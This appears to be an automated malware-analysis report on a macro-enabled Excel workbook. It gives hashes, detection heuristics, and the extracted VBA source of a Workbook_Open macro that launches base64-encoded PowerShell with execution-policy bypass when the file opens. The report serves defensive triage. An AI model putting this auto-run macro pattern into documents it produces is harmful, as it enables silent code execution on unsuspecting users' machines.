Office (OOXML) malware analysis — malicious · 750f0a9ed27061ed

MALICIOUS

Office (OOXML)

3.9 KB First seen: 2020-11-12

MD5: 84bfc7c966c9f76cc55de60a3986ac89 SHA-1: ee33bdd014933a9beb3e09df62551b1c4e5454b4 SHA-256: 750f0a9ed27061edf7d2442f416683d32c9c3dfec5ec7fc54a24c50431624572

308 Risk Score

Heuristics 6

ClamAV: Xls.Dropper.EPPlus-9802867-2 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Xls.Dropper.EPPlus-9802867-2
VBA project inside OOXML medium 3 related findings OOXML_VBA

Document contains a VBA project — VBA macros present
Potential Shell call in VBA critical OLE_VBA_SHELL

Potential Shell call in VBA
Matched line in script
```
    TaskID = Shell(Program, 1)
```

PowerShell reference in VBA critical OLE_VBA_PS

PowerShell reference in VBA

Matched line in script

    Program = "powershell.exe -exec bypass -enc YwBtAGQALgBlAHgAZQAgAC8AawAgAHAAaQBuAGcAIAA4AC4AOAAuADgALgA4AA0ACgA="

Workbook_Open macro low OLE_VBA_WBOPEN

Workbook_Open macro
Matched line in script
```
Private Sub Workbook_Open()
```
Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source from OOXML)	955 bytes
SHA-256: `ce308edcc75d98891eb39715eb79dc24666fc98a68b590337c581c91dd3fb5ef`
Detection ClamAV: No threats found Obfuscation or payload: likely Carved artifact contains a PowerShell -EncodedCommand style payload.
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisWorkbook" Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Attribute VB_TemplateDerived = False Attribute VB_Customizable = True Private Sub Workbook_Open() Dim Program As String Dim TaskID As Double On Error Resume Next Program = "powershell.exe -exec bypass -enc YwBtAGQALgBlAHgAZQAgAC8AawAgAHAAaQBuAGcAIAA4AC4AOAAuADgALgA4AA0ACgA=" TaskID = Shell(Program, 1) If Err <> 0 Then MsgBox "Can't start " & Program End If End Sub Attribute VB_Name = "Sheet1" Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Attribute VB_TemplateDerived = False Attribute VB_Customizable = True
`vbaProject_00.bin`	vba-project	OOXML VBA project: xl/vbaProject.bin	5120 bytes
SHA-256: `6d0f4ea410080891be968ec24ed78a2a4939b829aeea87fbc86abeb95c595d11`
Detection ClamAV: Xls.Dropper.EPPlus-9802867-2 Obfuscation or payload: unlikely

Open this report in the interactive analyzer, or submit your own file for analysis.